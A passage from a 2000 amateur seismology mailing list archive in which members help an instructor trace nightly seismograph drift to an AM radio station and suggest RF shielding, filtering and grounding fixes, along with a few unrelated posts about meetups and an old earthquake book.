taped aluminum = foil all over it. I attached a wire to it with electrical tape and = modified a regular AC 3-prong plug so that only the ground plug was there. = I attached the wire and plugged it into the power strip for the = computer. The trace that had been going more or less down the middle, = shifted to the left side of the screen. So it seems to be doing something.= Tonight I will watch the thing again, this time with the shield in place = and two radios going. If it happens again I'll see if it coincides with = the radio sign-off ( or signal decrease). Also , the radio station = changes its on-off times monthly so I can also see if it changes at the = end of the month. I am hopeful and will keep you all informed. Thanks = again for the help. John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: those strange jumps From: Bob Smith bobsmith5@........ Date: Tue, 25 Jul 2000 17:11:15 -0400 John -- One additional thought, The time that a radio station "signs off" does not necessarily coincide with the time that they drop carrier (shut down the transmitter), same on start up in the morning. These periods just after and just before the broadcast day are often used for tranmitter adjustments and testing. I suggest a portable A.M. radio to listen for carrier outage while you are monitoring. A strong, unmodulated carrier will have a marked "quieting" effect on what you hear. Best wishes, Bob Smith John Tacinelli wrote: > > HI again, > > I am overwhelmed with good ideas! Thank you all so much. I will try do deal with each. First of all the line voltage. I ha ve not checked this, however since the UPS showed the same problem, I don't think it is the line voltage. I called the utility company and they said there were no shifts related to capacitors at that time. They said there was a shift in usage around th at time but they couldn't be very specific. I'm pretty sure its not a joke, our students are not that bright.... I thought ab out streetlights but each is on its own photo cell and so they come on irregularly. I did not have the seismograph running dur ing the time change so I don't know if it tracks. We are decidedly not in the desert here in Minnesota so I doubt it is the bu ilding heating and cooling, besides, this is too regular for something like that. > > I like the idea put forward by Charles and Bob about AM radio interference. I called around and there are two radio stations that have restricted licences. One goes off the air at 8:45 and back on at 5:45. Very interesting. The other station change s power level from 5000 to 1000 watts at about that time. They couldn't be more specific. The station that goes off air says that I could shield the coil with grounded aluminum foil. So I took the box that I use as an air cover and taped aluminum foil all over it. I attached a wire to it with electrical tape and modified a regular AC 3-prong plug so that only the ground plug was there. I attached the wire and plugged it into the power strip for the computer. The trace that had been going more or less down the middle, shifted to the left side of the screen. So it seems to be doing something. Tonight I will watch the thi ng again, this time with the shield in place and two radios going. If it happens again I'll see if it > coincides with the radio sign-off ( or signal decrease). Also , the radio station changes its on-off times monthly so I can also see if it changes at the end of the month. I am hopeful and will keep you all informed. Thanks again for the help. > > John Tacinelli > Earth Science Instructor > Rochester Community and Technical College > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- --------- Avoid computer viruses -- Practice safe hex ------------- * * Specializing in small, cost effective embedded control systems * * Robert L. (Bob) Smith Smith Machine Works, Inc. internet bobsmith5@.............. Lumlay Road landline 804/745-1065 Richmond, Virginia 23236+1004 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Phoenix, AZ area PSN or geologic sites From: ted@.......... Date: Tue, 25 Jul 2000 20:20:37 -0400 Hi all, Are any PSN members in the Phoenix area? I'm here for a couple of weeks and would love to stop by after work someday to have a chat and a cold one (several in fact, it's 112 today). Also, is anyone familiar with any unusual geological sites of interest in the immediate area? Meteor crater is high on my list but it's 3 hours north. There's that Grand Canyon thingy but that's even farther away... I think Canyon deChelly is fairly close and would love to see that some day too. Regards, Ted Blank __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: strange jumps From: ChrisAtUpw@....... Date: Tue, 25 Jul 2000 20:35:56 EDT In a message dated 25/07/00 03:40:20 GMT Daylight Time, John.Tacinelli@........ writes: > I have one of the Ward's seismographs. It is working pretty well. > My problem is that at 8:45 PM every night I get a sudden > increase (or decrease) in voltage through my amplifier that causes the trace > to move off to the right hand side of the screen. It stays there until 5:45 > every morning. Then it goes right back. The seismograph itself doesn't seem > to move. It is set up in the school where I teach.... Maintenance thought > it might be the outside lights turning on but that happens much earlier. > That timing happens to coincide with the setting and rising of the sun ( > pretty close) but I can't think of anything solar that could affect a > magnetic coil inside a building in a time span of about 2 seconds. I am not familiar with the sensor system on the Wards' instrument, or which type of instrument it is, but you do mention a coil. I found www.wardsci.com, but didn't find a seismometer. Is the coil shielded and what is it's resonant frequency? Is any bit of connecting cable about the right length to form a resonant aerial? A couple of ferrite rings on the speaker leads stopped the 95 MHz VHF pickup on my Hi-Fi..... Can you use a 'scope to look at the signal as it passes through the amplifier? Can you plug some headphones, or maybe a battery radio with a line input socket, into the output of the instrument? Is the instrument earthed and are you sure that the earth return is actually earthed? We had quite a lot of fun when maintenance replaced some copper water pipe with a length of plastic.... Using Darrel's thoughts, do these times correspond to air conditioning fans being switched off? Could this flex the floor a bit? I rather liked:- When you hear the thunder of hooves, think horses, not zebras. But would, When you hear the thunder of hooves, think kids, not horses. be as appropriate? Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: those strange jumps From: "Al Allworth" allworth@.............. Date: Tue, 25 Jul 2000 18:27:26 -0700 A suggestion on shielding the coil with foil: Make sure the foil doesn't make a shorted turn around the coil. This would cause serious problems and poor sensitivity. _______________________________ Al Allworth On the Beautiful Southern Oregon Coast ________________________________ ----- Original Message ----- From: "Bob Smith" To: Sent: Tuesday, July 25, 2000 2:11 PM Subject: Re: those strange jumps > John -- > > One additional thought, The time that a radio station "signs > off" does not necessarily coincide with the time that they > drop carrier (shut down the transmitter), same on start up > in the morning. These periods just after and just before > the broadcast day are often used for tranmitter adjustments > and testing. I suggest a portable A.M. radio to listen for > carrier outage while you are monitoring. A strong, > unmodulated carrier will have a marked "quieting" effect on > what you hear. > > Best wishes, Bob Smith > > > > John Tacinelli wrote: > > > > HI again, > > > > I am overwhelmed with good ideas! Thank you all so much. I will try do deal with each. First of all the line voltage. I have not checked this, however since the UPS showed the same problem, I don't think it is the line voltage. I called the utility company and they said there were no shifts related to capacitors at that time. They said there was a shift in usage around that time but they couldn't be very specific. I'm pretty sure its not a joke, our students are not that bright.... I thought about streetlights but each is on its own photo cell and so they come on irregularly. I did not have the seismograph running during the time change so I don't know if it tracks. We are decidedly not in the desert here in Minnesota so I doubt it is the building heating and cooling, besides, this is too regular for something like that. > > > > I like the idea put forward by Charles and Bob about AM radio interference. I called around and there are two radio stations that have restricted licences. One goes off the air at 8:45 and back on at 5:45. Very interesting. The other station changes power level from 5000 to 1000 watts at about that time. They couldn't be more specific. The station that goes off air says that I could shield the coil with grounded aluminum foil. So I took the box that I use as an air cover and taped aluminum foil all over it. I attached a wire to it with electrical tape and modified a regular AC 3-prong plug so that only the ground plug was there. I attached the wire and plugged it into the power strip for the computer. The trace that had been going more or less down the middle, shifted to the left side of the screen. So it seems to be doing something. Tonight I will watch the thing again, this time with the shield in place and two radios going. If it happens again I'll see if it > > coincides with the radio sign-off ( or signal decrease). Also , the radio station changes its on-off times monthly so I can also see if it changes at the end of the month. I am hopeful and will keep you all informed. Thanks again for the help. > > > > John Tacinelli > > Earth Science Instructor > > Rochester Community and Technical College > > > > __________________________________________________________ > > > > Public Seismic Network Mailing List (PSN-L) > > > > To leave this list email PSN-L-REQUEST@.............. with > > the body of the message (first line only): unsubscribe > > See http://www.seismicnet.com/maillist.html for more information. > > -- > > --------- Avoid computer viruses -- Practice safe hex > ------------- > * * Specializing in small, cost effective embedded control > systems * * > Robert L. (Bob) Smith Smith Machine Works, Inc. > internet bobsmith5@........ 9900 Lumlay Road > landline 804/745-1065 Richmond, Virginia > 23236+1004 > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: it happened again From: "John Tacinelli" John.Tacinelli@........ Date: Tue, 25 Jul 2000 21:26:31 -0500 Well it jumped again tonight, right on schedule. Fortunately I was right = there listening to KOLM radio, 1570 AM. It jumped exactly as they went = off the air. It must be their carrier signal during the day that keeps it = in one place and then when it goes off the signal changes. Unfortunately, = my homemade aluminum foil box shield did not work. At least not enough. = The folks at KOLM say they are going to get their 24 hour license soon so = perhaps I will wait till then and depend on their steady signal to keep it = centered. I would like to shield it however. I could add more tinfoil = but it seems unlikely to help much. Perhaps a wire cage of some sort? John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: it happened again From: "Mark Robinson" other@............... Date: Wed, 26 Jul 2000 14:45:41 +1200 Hi John A crystal set is made of a coil in parallel with a capacitor (a tuned circuit), one side of this feeds through a diode which provides the output relative to the other side of the tuned circuit. Changing the value of the inductance or the capacitance changes the resonant frequency. Adding resistance in series with the capacitor or the inductor reduces the Q (quality factor) of the circuit. The diode may exist in the input side of the amplifier. You may also want to look at your amplifier to ensure that it doesn't have any gain at frequencies higher than those in which you are interested. regards Mark > Well it jumped again tonight, right on schedule. Fortunately I was right there listening to KOLM radio, 1570 AM. It jumped exactly as they went off the air. It must be their carrier signal during the day that keeps it in one place and then when it goes off the signal changes. Unfortunately, my homemade aluminum foil box shield did not work. At least not enough. The folks at KOLM say they are going to get their 24 hour license soon so perhaps I will wait till then and depend on their steady signal to keep it centered. I would like to shield it however. I could add more tinfoil but it seems unlikely to help much. Perhaps a wire cage of some sort? __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: listing with NEIC From: Angel Rodriguez angel@............ Date: Tue, 25 Jul 2000 21:54:47 -0500 Hi all, I just listed my station with NEIC. http://neic.usgs.gov/neis/station_book/PSNT_NETWORK.html Fast and easy. Bruce Presgrave was Great! Regards, Angel __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: it happened again - RFI defense From: Ed Thelen ethelen@........ Date: Tue, 25 Jul 2000 20:46:35 -0700 John Tacinelli wrote: > > Well it jumped again tonight, right on schedule. Fortunately I was right there listening to KOLM radio, 1570 AM. It jumped exactly as they went off the air. It must be their carrier signal during the day that keeps it in one place and then when it g oes off the signal changes. Unfortunately, my homemade aluminum foil box shield did not work. At least not enough. The folks at KOLM say they are going to get their 24 hour license soon so perhaps I will wait till then and depend on their steady signa l to keep it centered. I would like to shield it however. I could add more tinfoil but it seems unlikely to help much. Perha ps a wire cage of some sort? > > John Tacinelli Good - sounds like you have isolated the effect to a one to one with the radio station. Battle plan - basically your amplifier (yes amplifier) should be shielded from the effects of the cruel world. (In theory, you can make a research project to find what exact component/configuration is giving the trouble. But life is short, and you may wish other adventures :-) (A hint though, if you are using diodes as non-linear element to gain some say logarithmic or other function - I would suspect RF coupling into them first.) The following is brute force, kill the fly with a hammer, approach to shielding. (Shielding should be a science, but it is also a black art, complete with magic incantations (I think :-) 0) check all solder joints and connections between your sensor coil and amplifier. make sure they are GOOD - no oxides, no bad solder joints, ... (the darndest things can cause rectification - and Murphy usually wins.) Also, if you can, use twisted twisted wire between the sensor and amplifier - shielding does not hurt either. You might wish to put a SMALL capacitor directly across the outputs of the sensing coil - like 0.001 micro farad - and hope that you don't pick a value that resonates with the AM band - experiment later - actually, with the very thin (high resistance) wire most of us use, resonance should be minimal - like Q < 1 1) get a shielded (say aluminum) box (say from Radio Shack) large enough to contain your amplifier. Yes, I know they cost too much, but they cost too much at every retail outlet - just pay up. General practice is to ground the amplifier to the chassis, and ground the chassis to earth (the Brits use the correct word ;-) (One can be picky and try to use single point grounding, to avoid "ground loops" which might not bother much here, but something to think about.) 2) You probably have a low pass RC filter with a cutoff at something like 10 to 20 hertz at the input to your amplifier - if not, ya jus gota make one. Of course the common of the filter must connect to the amplifier common. 3) While messing around, filter the power supply inputs to the amplifier common, and might just as well do a little filtering on the output of the amplifier also - cheep & easy 4) Close the aluminum box, and put in a sheet metal or other conductive fastenings on each side of opening to give reasonable conductivity between parts of the box. With reasonable luck - your RFI effects should be below noise level :-)) Cheers Ed Thelen - been there, done that ;-)) __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: it happened again From: ChrisAtUpw@....... Date: Wed, 26 Jul 2000 00:35:15 EDT Dear John Tacinelli, > Well it jumped again tonight, right on schedule. Fortunately I was right > there listening to KOLM radio, 1570 AM. It jumped exactly as they went off > the air. It must be their carrier signal during the day that keeps it in one > place and then when it goes off the signal changes. Unfortunately, my > homemade aluminum foil box shield did not work. At least not enough. Thin tinned steel sheet, folded with overlaps at the corners and then soldered is by far the most effective enclosure. It provides magnetic as well as electrostatic shielding. The easiest way is to put non corrosive flux on the fold faces, pop rivet them together and then use a big flame and a stick of solder. Aluminium sheet doesn't make very good electrical contact at the overlaps for very long. A few thoughts. Is your amplifier itself well shielded? Before you start spending real money, try making a filter in a long tin box with a few ferrite radio frequency chokes and small capacitors. 1520 KHz should filter out without too much difficulty. Do you use coax cable to link the coil to the amplifier? You need something like URM70, which has a stranded core and a heavy braided copper sheath. You might try putting the amplifier in a steel cake tin? If this works, add ventilation with a sheet metal cutter.... Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: it happened again From: "Charles R. Patton" charles.r.patton@........ Date: Tue, 25 Jul 2000 21:49:46 -0700 John, I would suggest that the likely mode of coupling is what is called common mode coupling. Shielding the coil probably isn=92t going to help = =96 you could put a short there and the problem would probably still exist. Both the wires to the high and low sides of the coil are probably acting as a single antenna. If so, twisted wire won=92t help either. I will guess that your input circuit is reasonably high impedance in relation to the sense coil resistance. If so, proceed as follows. Put a resistor of about 10% of the value of the resistance of the sense coil in series with each line to the input of the op-amp and physically close to the op-amp. Then at each node formed by the new resistor and the op-amp, bypass the node to the op-amp circuit ground with a cap that forms a lo-pass of 1KHz or so with the resistor ( C =3D 1/(2 * pi * f * R). This will give a practical 20 to 30 dB of attenuation at the AM station frequencies and will probably suffice for your purposes. You can get more attenuation by using two sections in series instead of one. Depending on your op-amp input, you may need to add another series resistor of the same value after the cap if the op-amp input goes unstable and oscillates. Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: ferrite use for AM radio noise suppression From: "Charles R. Patton" charles.r.patton@........ Date: Tue, 25 Jul 2000 21:59:27 -0700 One other minor note. Ferrite beads generally won=92t do much good at AM= frequencies. Their impedance doesn=92t get to 10 to 50 ohms or more =96 depends on the size and ferrite mix =96 until you=92re in the 10 to 100 M= Hz or more range. Therefore the low impedance only has value in power supply areas where there is considerable capacitance bypassing going on, but almost no effect in the high impedance signal areas. That=92s why I suggested the use of resistors in the input area of the op-amp. The alternative would be the use of choke coils =96 expensive, relatively harder to get, and still require a resistor to damp their resonance. Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: it happened again From: Bob Smith bobsmith5@........ Date: Wed, 26 Jul 2000 07:51:06 -0400 John Tacinelli wrote: > > Well it jumped again tonight, right on schedule. Fortunately I was right there listening to KOLM radio, 1570 AM. It jumped exactly as they went off the air. It must be their carrier signal during the day that keeps it in one place and then when it g oes off the signal changes. Unfortunately, my homemade aluminum foil box shield did not work. At least not enough. John -- My antenna theory is 40+ years old so I hope that some young, up to date engineer will feel free to jump in here and help. As I recall, a transmitting antenna emits an electrostatic field as well well as an electromagnetic field. The electrostatic field falls off very rapidly with distance (a few miles??) and the electromagnetic field will soon predominate beyond some number (?) of wavelengths from the antenna. Your aluminum foil shield may offer some protection against the electrostatic field, but will be a useless defense against the electromagnetic field. Such protection will require a magnetic material - soft iron, alloys used to make transformer cores, mu-metal, etc. There was a recent discussion of mu-metal here, a search of your archives may be useful. A better approach may be to try to filter off the interfering RF. No - no, C4 on the tower legs is not allowed! ;-) The best defense against interference depends on the mechanism of that interference. Here is one possible scenario: 1. Your pickup coil may be making a good antenna at 1.57mHz and dumping out copious amounts of RF. 2. If I understand seismometers correctly, the output of the coil goes to a high gain amplifier with response from DC to several hertz. These are usually operational amplifiers with very high gain. 3. One likely mode of failure is RF entering the input stages, getting amplified and eventually rectified in an overloaded stage and saturating one of the gain stages in the amplifier. 4. To protect against this you should filter off the RF before it reaches the amplifier. 5. 1.57mHz is somewhat awkward to work with. It is a bit too low for simple ferrite beads to be effective, so a lumped element filter will probably be necessary. If I were in your shoes, I would start with a simple L section low pass filter in each coil lead. Take two 1000 uH (micro-henry) inductors and insert them in the coil leads right where they enter the amplifier. Then take two 0.1 uF capacitors and bypass the input leads to ground right at the amplifier pins. At 1.57mHz Xl for 1000uH is about 10,000 ohms, and Xc for 0.1uF is about one ohm. This will give your prototype filter about 10,000 to 1 attenuation at 1.57mHz but very little attenuation at 10Hz. You must be alert for the possibility that the capacitors at the input will make the amplifier mad at you and cause it to oscillate. Often capacitance at the input terminals of the amplifier will introduce an unwanted pole in the transfer function and cause oscillation. Be sure to use good low leakage capacitors such as low-leakage polyester film types. Avoid electrolytics and tantalums. Don't settle for the first thing you see on the Radio-Shack racks. If you need help, I can look up DigiKey part numbers for you. I am hoping that someone on the list has solved this problem and can provide more specific advice. Happy witch hunting, Bob Smith The folks at KOLM say they are going to get their 24 hour license soon so perhaps I will wait till then and depend on their steady signal to keep it centered. I would like to shield it however. I could add more tinfoil but it seems unlikely to help much. Perhaps a wire cage of some sort? > > John Tacinelli > Earth Science Instructor > Rochester Community and Technical College > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- --------- Avoid computer viruses -- Practice safe hex ------------- * * Specializing in small, cost effective embedded control systems * * Robert L. (Bob) Smith Smith Machine Works, Inc. internet bobsmith5@.............. Lumlay Road landline 804/745-1065 Richmond, Virginia 23236+1004 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: it happened again From: "Tom Schmitt" tschmitt@.............. Date: Wed, 26 Jul 2000 08:24:30 -0400 I am going to foreward this to an old friend who is a Ham and used to run the Ga Tech seismic network. He may have some favorite tricks that will work. However, a 55 gal oil drum is a reasonably good Farady cage. Stuffed with fiberglass it is also has nice thermal properties. or the cage to work well, the electronics would have to be fairly deep inside the drum but it might be wrth a try even if you could not get it in far. If the soil is conductive that should help with the E field. Tom Schmitt tschmittt@.............. ----- Original Message ----- From: Bob Smith To: Sent: Wednesday, July 26, 2000 7:51 AM Subject: Re: it happened again > > > John Tacinelli wrote: > > > > Well it jumped again tonight, right on schedule. Fortunately I was right there listening to KOLM radio, 1570 AM. It jumped exactly as they went off the air. It must be their carrier signal during the day that keeps it in one place and then when it goes off the signal changes. Unfortunately, my homemade aluminum foil box shield did not work. At least not enough. > > John -- > > My antenna theory is 40+ years old so I hope that some > young, up to date engineer will feel free to jump in here > and help. > > As I recall, a transmitting antenna emits an electrostatic > field as well well as an electromagnetic field. The > electrostatic field falls off very rapidly with distance (a > few miles??) and the electromagnetic field will soon > predominate beyond some number (?) of wavelengths from the > antenna. Your aluminum foil shield may offer some > protection against the electrostatic field, but will be a > useless defense against the electromagnetic field. Such > protection will require a magnetic material - soft iron, > alloys used to make transformer cores, mu-metal, etc. There > was a recent discussion of mu-metal here, a search of your > archives may be useful. > > A better approach may be to try to filter off the > interfering RF. No - no, C4 on the tower legs is not > allowed! ;-) > > The best defense against interference depends on the > mechanism of that interference. Here is one possible > scenario: > > 1. Your pickup coil may be making a good antenna at 1.57mHz > and dumping out copious amounts of RF. > > 2. If I understand seismometers correctly, the output of the > coil goes to a high gain amplifier with response from DC to > several hertz. These are usually operational amplifiers > with very high gain. > > 3. One likely mode of failure is RF entering the input > stages, getting amplified and eventually rectified in an > overloaded stage and saturating one of the gain stages in > the amplifier. > > 4. To protect against this you should filter off the RF > before it reaches the amplifier. > > 5. 1.57mHz is somewhat awkward to work with. It is a bit > too low for simple ferrite beads to be effective, so a > lumped element filter will probably be necessary. If I were > in your shoes, I would start with a simple L section low > pass filter in each coil lead. Take two 1000 uH > (micro-henry) inductors and insert them in the coil leads > right where they enter the amplifier. Then take two 0.1 uF > capacitors and bypass the input leads to ground right at the > amplifier pins. > > At 1.57mHz Xl for 1000uH is about 10,000 ohms, and Xc for > 0.1uF is about one ohm. This will give your prototype > filter about 10,000 to 1 attenuation at 1.57mHz but very > little attenuation at 10Hz. > > You must be alert for the possibility that the capacitors at > the input will make the amplifier mad at you and cause it to > oscillate. Often capacitance at the input terminals of the > amplifier will introduce an unwanted pole in the transfer > function and cause oscillation. > > Be sure to use good low leakage capacitors such as > low-leakage polyester film types. Avoid electrolytics and > tantalums. Don't settle for the first thing you see on the > Radio-Shack racks. If you need help, I can look up DigiKey > part numbers for you. > > I am hoping that someone on the list has solved this problem > and can provide more specific advice. > > Happy witch hunting, Bob Smith > > > > The folks at KOLM say they are going to get their 24 hour > license soon so perhaps I will wait till then and depend on > their steady signal to keep it centered. I would like to > shield it however. I could add more tinfoil but it seems > unlikely to help much. Perhaps a wire cage of some sort? > > > > John Tacinelli > > Earth Science Instructor > > Rochester Community and Technical College > > > > __________________________________________________________ > > > > Public Seismic Network Mailing List (PSN-L) > > > > To leave this list email PSN-L-REQUEST@.............. with > > the body of the message (first line only): unsubscribe > > See http://www.seismicnet.com/maillist.html for more information. > > -- > > --------- Avoid computer viruses -- Practice safe hex > ------------- > * * Specializing in small, cost effective embedded control > systems * * > Robert L. (Bob) Smith Smith Machine Works, Inc. > internet bobsmith5@........ 9900 Lumlay Road > landline 804/745-1065 Richmond, Virginia > 23236+1004 > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: it happened again From: BOB BARNS roybar@........ Date: Wed, 26 Jul 2000 09:48:29 -0400 John, Try to find an amateur radio operator. Many of them have had experience with shielding against radio freq. interference. Bob Barns John Tacinelli wrote: > > Well it jumped again tonight, right on schedule. Fortunately I was right there listening to KOLM radio, 1570 AM. It jumped exactly as they went off the air. It must be their carrier signal during the day that keeps it in one place and then when it g oes off the signal changes. Unfortunately, my homemade aluminum foil box shield did not work. At least not enough. The folks at KOLM say they are going to get their 24 hour license soon so perhaps I will wait till then and depend on their steady signa l to keep it centered. I would like to shield it however. I could add more tinfoil but it seems unlikely to help much. Perha ps a wire cage of some sort? > > John Tacinelli > Earth Science Instructor > Rochester Community and Technical College > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Rf interference From: sean@........... Date: Wed, 26 Jul 2000 12:20:57 -0500 (CDT) I have been operating seismic telemetry networks for years and the nature of telemetry includes an RF link, usually VHF, but often includes loaned space on someone's tower. The tower is passive, but the owner also rents space to others, such as ham repeaters, farmers c0-ops, and even AM church radios. So all the usual rules of power and signal shielding and by-passing need to be applied. But one of the sneaky-est RF to DC noise sources is the BAD ground connection. A poor ground connection will corrode and rectify any AC or RF passing through it (remember the old copper-oxide rectifiers of the '40s). The few times that we had a seemingly unsolvable interference problem, the best solution was to replace the grounding system, or at least re-do all the connections. I recommend #6 insulated (so it doesn't ground everywhere) ground cable and mechanical clamps of the same material as the ground rod and cable. (beware of aluminum). I have tried the "thermite" method of bonding a cable to a ground rod; if it doesn't work properly, it will look OK, but actually be a corrosive mess. The wavelength of AM radio is so long (200 meters at 1.5 Mhz) that aluminum foil and metallic enclosures are of little use. All our seismic telemetry is installed in PVC pipes because such is easy to seal against moisture. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: it happened again From: ChrisAtUpw@....... Date: Wed, 26 Jul 2000 14:27:24 EDT Dear John Tacinelli, If you type in http://www.arrl.org/field/club/clubsearch.phtml you will be able to get a list of ARRL affiliated Radio Clubs in your area. Regards, Chris Chapman M1ECJ __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Fw: Fw: it happened again From: "Tom Schmitt" tschmitt@.............. Date: Wed, 26 Jul 2000 21:42:21 -0400 List This is the responce Bob Duckworth gave when I sent him a descriptions of the problem. Bob used to run the Ga Tech seismic net work and also did some shipboard exploration seismic stuff. He did not have benefit of all the discussions. It is interesting that he has much the same train of thought as Sean-Thomas, ie there is a bad joint doing the rectification. Sean-Thomas focused on the ground and Bob focused on a process to find the rectification but both had the same goal. SeanThomas, off list I want to ask you why a Farday cage won't work on am broadcast. Tom Schmitt tschmitt@.............. > 2) If you have a DC offset then then you are rectifying somewhere in > your circuit. Culprit will be exposed to the RF and nonlinear. > i.e. Joint in wiring between dissimilar materials, oxidized joint, > amplifier driven into nonlinear region by RF > Solutions. Make sure all joints, connections are tight with no > oxidation, make sure you have no common mode amplification, minimize RF > in all circuits. > > Break you circuit down into sections. Start with the recorder. > Short the input. Does offset change. Work your way back to the sensor. > Somewhere along here you are rectifying. > > -bob > > > > > rb . __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Bob McReynolds From: Karl Cunningham karlc@....... Date: Fri, 28 Jul 2000 09:25:17 -0700 Does anyone know a fellow named Bob McReynolds, an amateur seismologist who lived in Del Mar in the San Diego area during the mid 1960's? My father had brief business dealings with him around that time. Thanks in advance. Karl __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: RF shielding From: sean@........... Date: Fri, 28 Jul 2000 12:44:13 -0500 (CDT) Tom, Thanks for the comment, and I need to clarify mine. You correctly state that an intact metallic enclosure will shield the interior from RF of any wavelength. And the degree of attenuation is a factor of the shielding conductivity and/or the number of layers. As you state, such complete enclosures are "Faraday cages" even when perforated with openings much smaller than the wavelength of concern, like the screen in the door of a microwave oven. My comment about the utility of shielding against long wavelengths was directed toward attempts with materials like aluminum foil that do not provide a complete conductive path around the object. A foil patch will shield the chicken drumsticks in the microwave because they are (duh) microwaves. Long wavelengths require a complete shield with no breaks in the conductivity at the joints. When I was building the cyclotron, we had a linear amp to provide 12 kw of 10.033 mhz RF (sine wave) to drive the accelerating electrodes. Because of the resulting high RF voltages, most of this ended up as RF everywhere or heating of the high-Q elements (only 300 watts ended up in the particle beam), so all our experimental enclosures had linear phosphor-bronze contact fingers around all the door seals, and we even needed nested enclosures for some detectors. (for the hams on the list, I used a 4CX1000 tube in the amplifier, operating off 7.5 kilovolts at 2 amps (a "Texas kilowatt" ?!)). But the first line of defense against RF interference in seismic amplifiers is in good amplifier and power supply design. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: book "About Earthquakes" (1956) From: ted@.......... Date: Mon, 31 Jul 2000 10:42:14 -0400 I came across a copy of this book by G. Eiby of the Wellington (NZ) Seismological Observatory. Written for the layman, it is easy to understand and covers a lot of material. Does anyone know if Mr. Eiby is still around? The book was published in 1956, so maybe not... He begins: "Earthquakes were among the earliest discoveries to be made in New Zealand. Members of Captain Cook's expeditions felt them in the eighteenth century, and within ten years of the founding of Wellington, the colonists lost their chimneys." I greatly enjoyed his style of writing. One very interesting quote (in this age of digital everything) concerns using analog (electrical) models of buildings to assess their earthquake safety. Here's a quote: "Most building codes today lay down some definite value of horizontal acceleration which a building must withstand. In New Zealand, the value varies from 0.08 to almost 0.16 G... This type of code is gradually being replaced by a more elaborate consideration of the dynamic characteristics of the building, and use is now made of electrical models or "analogues" of the structure. The analogue is an electrical circuit in which the values of the components are arranged to give them a response to electrical vibrations that can be compared with the mechanical properties of the building. An ingenious photo-electric device then converts the record of an earthquake into a varying electrical current which can be passed through the analogue, which is [then] studied by the techniques of electrical engineering." Would anyone have any idea how this "ingenious photo-electric device" for converting paper traces into voltage signals might work? I'm guessing there must be some sort of activity in the field of Seismology to digitize old paper seismograms, so maybe there are actual commercial devices to do the work now. Regards, Ted Blank __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: book "About Earthquakes" (1956) From: Mark Robinson other@............... Date: Tue, 01 Aug 2000 03:12:39 +1200 Hi Ted, George is sadly no longer with us. He worked at the Institute of Geophysics here in Wellington as I recall. He has published a number of books, many aimed at laymen, Earthquakes was published in a revised edition in the 80s. And Volcanoes was published about the time George died which is a while ago now. George was a keen actor, enjoying Shakepearian roles. No idea about the ingenious photoelectric device, but I would suspect some kind of flying spot scanner, with a ramp in sync with the spot being sampled when black paper was seen. A fax machine would be a good start these days. The analogue computer sounds like a work of art. I will endeavour to turn it up. Mark ted@.......... wrote: > > I came across a copy of this book by G. Eiby of the Wellington (NZ) > Seismological Observatory. Written for the layman, it is easy to > understand and covers a lot of material. Does anyone know if Mr. Eiby is > still around? The book was published in 1956, so maybe not... > > He begins: "Earthquakes were among the earliest discoveries to be made in > New Zealand. Members of Captain Cook's expeditions felt them in the > eighteenth century, and within ten years of the founding of Wellington, the > colonists lost their chimneys." I greatly enjoyed his style of writing. > > One very interesting quote (in this age of digital everything) concerns > using analog (electrical) models of buildings to assess their earthquake > safety. Here's a quote: > > "Most building codes today lay down some definite value of horizontal > acceleration which a building must withstand. In New Zealand, the value > varies from 0.08 to almost 0.16 G... This type of code is gradually being > replaced by a more elaborate consideration of the dynamic characteristics > of the building, and use is now made of electrical models or "analogues" of > the structure. The analogue is an electrical circuit in which the values > of the components are arranged to give them a response to electrical > vibrations that can be compared with the mechanical properties of the > building. An ingenious photo-electric device then converts the record of > an earthquake into a varying electrical current which can be passed through > the analogue, which is [then] studied by the techniques of electrical > engineering." > > Would anyone have any idea how this "ingenious photo-electric device" for > converting paper traces into voltage signals might work? I'm guessing > there must be some sort of activity in the field of Seismology to digitize > old paper seismograms, so maybe there are actual commercial devices to do > the work now. > > Regards, > Ted Blank > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: 